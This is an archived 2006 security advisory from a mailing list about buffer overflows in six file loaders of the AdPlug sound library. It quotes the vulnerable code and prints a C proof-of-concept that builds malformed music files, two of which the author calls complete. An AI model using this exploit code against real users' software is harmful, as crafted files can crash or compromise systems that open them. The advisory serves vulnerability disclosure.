Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[NEWS] AdPlug Multiple Buffer Overflows

Subject: [NEWS] AdPlug Multiple Buffer Overflows
Date: 10 Jul 2006 17:55:30 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  AdPlug Multiple Buffer Overflows
------------------------------------------------------------------------


SUMMARY

" <http://adplug.sourceforge.net/> AdPlug is a free, cross-platform, 
hardware independent AdLib sound player library, mainly written in C++ and 
released under the LGPL."

Improper handling of user input allows attackers to execute arbitrary code 
using the AdPlug library.

DETAILS

Vulnerable Systems:
 * AdPlug library version 2.0 and prior
 * AdPlug library cvs from 04 Jul 2006 and prior

Immune Systems:
 * AdPlug library cvs from 05 Jul 2006

heap overflow in the unpacking of CFF files:
From cff.cpp:
bool CcffLoader::load(const std::string &filename, const CFileProvider 
&fp)
    ...
    f->readString(header.id, 16);
    header.version = f->readInt(1); header.size = f->readInt(2);
    header.packed = f->readInt(1); f->readString((char *)header.reserved, 
12);
    if (memcmp(header.id,"<CUD-FM-File>""\x1A\xDE\xE0",16))
      { fp.close(f); return false; }

    unsigned char *module = new unsigned char [0x10000];

    // packed ?
    if (header.packed)
    {
        cff_unpacker *unpacker = new cff_unpacker;

        unsigned char *packed_module = new unsigned char [header.size + 
4];

        memset(packed_module,0,header.size + 4);

        f->readString((char *)packed_module, header.size);
        fp.close(f);

        if (!unpacker->unpack(packed_module,module))
        ...

heap overflow in the unpacking of MTK files:
From mtk.cpp:

bool CmtkLoader::load(const std::string &filename, const CFileProvider 
&fp)
    ...
    // read header
    f->readString(header.id, 18);
    header.crc = f->readInt(2);
    header.size = f->readInt(2);

    // file validation section
    if(strncmp(header.id,"mpu401tr\x92kk\xeer@data",18))
      { fp.close(f); return false; }

    // load section
    cmpsize = fp.filesize(f) - 22;
    cmp = new unsigned char[cmpsize];
    org = new unsigned char[header.size];
    for(i = 0; i < cmpsize; i++) cmp[i] = f->readInt(1);
    fp.close(f);

    while(cmpptr < cmpsize) {   // decompress
    ...

heap overflow in the unpacking of DMO files:
From dmo.cpp:

#define ARRAY_AS_WORD(a, i) ((a[i + 1] << 8) + a[i])
..
bool CdmoLoader::load(const std::string &filename, const CFileProvider 
&fp)
  ...
  // get file size
  long packed_length = fp.filesize(f);
  f->seek(0);

  unsigned char *packed_module = new unsigned char [packed_length];

  // load file
  f->readString((char *)packed_module, packed_length);
  fp.close(f);

  // decrypt
  unpacker->decrypt(packed_module,packed_length);

  long unpacked_length = 0x2000 * ARRAY_AS_WORD(packed_module, 12);
  unsigned char *module = new unsigned char [unpacked_length];

  // unpack
  if (!unpacker->unpack(packed_module+12,module))
  ...

buffer-overflow in DTM files:
From dtm.cpp:

bool CdtmLoader::load(const std::string &filename, const CFileProvider 
&fp)
    ...
    char bufstr[80];

    for (i=0;i<16;i++)
    {
        // get line length
        unsigned char bufstr_length = f->readInt(1);

        // read line
        if (bufstr_length)
        {
            f->readString(bufstr,bufstr_length);

            for (j=0;j<bufstr_length;j++)
                if (!bufstr[j])
                    bufstr[j] = 0x20;

            bufstr[bufstr_length] = 0;

            strcat(desc,bufstr);
        }

        strcat(desc,"\n");
    }
    ...

buffer-overflow in S3M files:
From s3m.cpp:

bool Cs3mPlayer::load(const std::string &filename, const CFileProvider 
&fp)
  ...
  unsigned short    insptr[99],pattptr[99];
      ...
      f->seek(checkhead->ordnum, binio::Add);
      for(i = 0; i < checkhead->insnum; i++)
    insptr[i] = f->readInt(2);
      for(i=0;i<checkhead->insnum;i++) {
    f->seek(insptr[i]*16);
    if(f->readInt(1) >= 2) {
      adlibins = true;
      break;
    }
      }
      delete checkhead;
      if(!adlibins) { fp.close(f); return false; }
    }

  // load section
  f->seek(0);   // rewind for load
  load_header(f, &header);          // read header
  for(i = 0; i < header.ordnum; i++) orders[i] = f->readInt(1); // read 
orders
  for(i = 0; i < header.insnum; i++) insptr[i] = f->readInt(2); // 
instrument parapointers
  for(i = 0; i < header.patnum; i++) pattptr[i] = f->readInt(2);    // 
pattern parapointers

heap overflow in the unpacking of U6M files:
destination.size is set but not used so there is no check on the real size 
of the output buffer.

From u6m.cpp:

bool Cu6mPlayer::load(const std::string &filename, const CFileProvider 
&fp)
    ...
        unsigned char pseudo_header[6];
        f->readString((char *)pseudo_header, 6);
        decompressed_filesize = pseudo_header[0] + (pseudo_header[1] << 
8);

        if (!( (pseudo_header[2]==0) && (pseudo_header[3]==0) &&
               (pseudo_header[4] + ((pseudo_header[5] & 0x1)<<8) == 0x100) 
&&
               (decompressed_filesize > (filesize-4)) ))
        {
        fp.close(f);
            return(false);
        }
    ...
    song_data = new unsigned char[decompressed_filesize];
    unsigned char* compressed_song_data = new unsigned char[filesize-4];

    f->seek(4);
    f->readString((char *)compressed_song_data, filesize - 4);
    fp.close(f);

    // attempt to decompress the song data
    // if unsuccessful, deallocate song_data[] on the spot, and 
return(false)
    data_block source, destination;
    source.size = filesize-4;
    source.data = compressed_song_data;
    destination.size = decompressed_filesize;
    destination.data = song_data;
    
    if (!lzw_decompress(source,destination))
    ...

Proof of Concept:
/* I have written a basic experimental proof-of-concept but for some 
limitations (I don't know all the compression algorithms used) it cannot 
test all the bugs.
Anyway it's not completed or optimized so please don't consider it a real 
working code except for bugs 4 and 5. */

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define VER                     "0.1"
#define MODULESIZE              0x10000

#define LOWORD(l)               ((l) & 0xffff)
#define HIWORD(l)               ((l) >> 16)
#define LOBYTE(w)               ((w) & 0xff)
#define HIBYTE(w)               ((w) >> 8)
#define ARRAY_AS_DWORD(a, i)    ((a[i + 3] << 24) + (a[i + 2] << 16) + 
(a[i + 1] << 8) + a[i])
#define ARRAY_AS_WORD(a, i)     ((a[i + 1] << 8) + a[i])
#define CHARP_AS_WORD(p)        (((*(p + 1)) << 8) + (*p))

unsigned short dmo_unpacker_brand(unsigned short range);
int dmo_unpacker_decrypt(unsigned char *buf, long len);
void std_err(void);

#pragma pack(1)

struct {
    char            id[16];
    unsigned char   version;
    unsigned short  size;
    unsigned char   packed;
    unsigned char   reserved[12];
} cff_head;

struct {
    char            id[18];
    unsigned short  crc;
    unsigned short  size;
} mtk_head;

struct {
    char            id[12];
    unsigned char   version;
    char            title[20];
    char            author[20];
    unsigned char   numpat;
    unsigned char   numinst;
} dtm_head;

struct {
    char            name[28];
    unsigned char   kennung;
    unsigned char   typ;
    unsigned char   dummy[2];
    unsigned short  ordnum;
    unsigned short  insnum;
    unsigned short  patnum;
    unsigned short  flags;
    unsigned short  cwtv;
    unsigned short  ffi;
    char            scrm[4];
    unsigned char   gv;
    unsigned char   is;
    unsigned char   it;
    unsigned char   mv;
    unsigned char   uc;
    unsigned char   dp;
    unsigned char   dummy2[8];
    unsigned short  special;
    unsigned char   chanset[32];
} s3m_head;

#pragma pack()

int main(int argc, char *argv[]) {
    FILE            *fd;
    int             i,
                    j,
                    attack,
                    buffsz,
                    compsz;
    unsigned char   *buff,
                    *comp;

    fputs("\n"
        "AdPlug library <= 2.0 and CVS <= 04 Jul 2006 multiple overflow 
"VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <attack> <file_to_create>\n"
            "\n"
            "Attack:\n"
            " 1 = heap overflow in the unpacking of CFF files\n"
            " 2 = heap overflow in the unpacking of MTK files\n"
            " 3 = heap overflow in the unpacking of DMO files\n"
            " 4 = buffer-overflow in DTM files\n"
            " 5 = buffer-overflow in S3M files\n"
            " 6 = heap overflow in the unpacking of U6M files\n"
            "\n"
            "Note: this proof-of-concept is experimental and doesn't 
contain the code for\n"
            "      compressing the data so you must edit it for adding the 
missing code if\n"
            "      you have it\n"
            "      Actually only attack 4 and 5 can be considered 
completed!\n"
            "\n", argv[0]);
        exit(1);
    }

    attack = atoi(argv[1]);

    printf("- create file %s\n", argv[2]);
    fd = fopen(argv[2], "rb");
    if(fd) {
        fclose(fd);
        printf("- do you want to overwrite it (y/N)?\n  ");
        fflush(stdin);
        if((fgetc(stdin) | 0x20) != 'y') exit(1);
    }
    fd = fopen(argv[2], "wb");
    if(!fd) std_err();

    if(attack == 1) {                   /* CFF */
        buffsz  = MODULESIZE + 256;

        buff = malloc(buffsz);

        memset(buff,                0,                                  
MODULESIZE);
        memcpy(&buff[0x5E1],        "CUD-FM-File - SEND A POSTCARD -",  
31);    // for quick return
        memset(buff + MODULESIZE,   'a',                                
buffsz - MODULESIZE);

        /*
            DATA MUST BE COMPRESSED WITH A PARTICULAR TYPE OF LZW!!!
            I DON'T KNOW THE COMPRESSION ALGORITHM SO DATA IS STORED AS IS
        */
        // compsz = 16 + compress(buff, comp + 16, buffsz);
        comp   = buff;
        compsz = buffsz;

        memcpy(comp,                "YsComp""\x07""CUD1997""\x1A\x04",  
16);

        memcpy(cff_head.id,         "<CUD-FM-File>""\x1A\xDE\xE0",      
sizeof(cff_head.id));
        cff_head.version = 1;
        cff_head.size    = compsz;
        cff_head.packed  = 1;
        memset(cff_head.reserved, 0, sizeof(cff_head.reserved));

        fwrite(&cff_head, sizeof(cff_head), 1, fd);
        fwrite(comp,      compsz,           1, fd);

    } else if(attack == 2) {            /* MTK */
        buffsz = 0xffff;

        buff = malloc(buffsz);

        memset(buff,                'a',                                
buffsz);

        /*
            DATA MUST BE COMPRESSED!!!
            I DON'T KNOW THE COMPRESSION ALGORITHM SO DATA IS STORED AS IS
        */
        // compsz = compress(buff, comp, buffsz);
        comp   = buff;
        compsz = buffsz;

        strncpy(mtk_head.id,    "mpu401tr\x92kk\xeer@data",             
18);
        mtk_head.crc     = 0;
        mtk_head.size    = 0;   // heap overflow

        fwrite(&mtk_head, sizeof(mtk_head), 1, fd);
        fwrite(comp,      compsz,           1, fd);

    } else if(attack == 3) {            /* DMO */
        printf("- not implemented!\n");

    } else if(attack == 4) {            /* DTM */
        strncpy(dtm_head.id,    "DeFy DTM ",                            
sizeof(dtm_head.id));
        dtm_head.version = 0x10;
        strncpy(dtm_head.title, "title",                                
sizeof(dtm_head.title));
        strncpy(dtm_head.author,"author",                               
sizeof(dtm_head.author));
        dtm_head.numpat  = 0;
        dtm_head.numinst = 0;

        fwrite(&dtm_head, sizeof(dtm_head), 1, fd);

        for(i = 0; i < 15; i++) fputc(0, fd);
        buffsz = 140;                   // <== buffer-overflow
        buff = malloc(buffsz);
        memset(buff, 'a', buffsz);
        fputc(buffsz, fd);
        fwrite(buff,      buffsz,         1, fd);

        for(i = 0; i < 100; i++) fputc(0, fd);

    } else if(attack == 5) {            /* S3M */
        strncpy(s3m_head.name,  "name", sizeof(s3m_head.name));
        s3m_head.kennung = 0x1a;
        s3m_head.typ     = 16;
        memset(s3m_head.dummy,  0,      sizeof(s3m_head.dummy));
        s3m_head.ordnum  = 0;
        s3m_head.insnum  = 120;         // <== buffer-overflow
        s3m_head.patnum  = 0;           // <== buffer-overflow
        s3m_head.flags   = 0;
        s3m_head.cwtv    = 0;
        s3m_head.ffi     = 0;
        memcpy(s3m_head.scrm,   "SCRM", sizeof(s3m_head.scrm));
        s3m_head.gv      = 0;
        s3m_head.is      = 0;
        s3m_head.it      = 0;
        s3m_head.mv      = 0;
        s3m_head.uc      = 0;
        s3m_head.dp      = 0;
        memset(s3m_head.dummy2, 0,      sizeof(s3m_head.dummy2));
        s3m_head.special = 0;
        for(i = 0; i < 32; i++) s3m_head.chanset[i] = 0;

        fwrite(&s3m_head, sizeof(s3m_head), 1, fd);
        for(i = 0; i < s3m_head.ordnum; i++) fputc('a', fd);
        for(i = 0; i < s3m_head.insnum; i++) { fputc('1', fd); fputc('0', 
fd); }    // little endian
        for(i = 0; i < s3m_head.patnum; i++) { fputc('1', fd); fputc('0', 
fd); }    // little endian

        for(i = 0; i < s3m_head.insnum; i++) {
            for(j = 0; j < 80; j++) fputc(0, fd);
        }

        for(i = 0; i < s3m_head.patnum; i++) {
            /* skipped */
        }

    } else if(attack == 6) {            /* U6M */
        buffsz = 1000;
        buff   = malloc(buffsz);

        memset(buff, 0, buffsz);
        /*
            DATA MUST BE COMPRESSED WITH A PARTICULAR TYPE OF LZW!!!
            I DON'T KNOW THE COMPRESSION ALGORITHM SO DATA IS STORED AS IS
        */
        // compsz = compress(buff, comp, buffsz);
        comp   = buff;
        compsz = buffsz;

        fputc(buffsz        & 0xff, fd);
        fputc((buffsz >> 8) & 0xff, fd);
        fputc(0, fd);
        fputc(0, fd);
        fputc(0, fd);
        fputc(1, fd);

        fwrite(comp,      compsz,           1, fd);
    }

    fclose(fd);
    printf("- finished\n");
    return(0);
}

void std_err(void) {
    perror("\nError");
    exit(1);
}

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by  <mailto:aluigi@autistici.org>  Luigi 
Auriemma.
The original article can be found at:  
<http://aluigi.altervista.org/adv/adplugbof-adv.txt> 
http://aluigi.altervista.org/adv/adplugbof-adv.txt



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [NEWS] AdPlug Multiple Buffer Overflows, SecuriTeam <=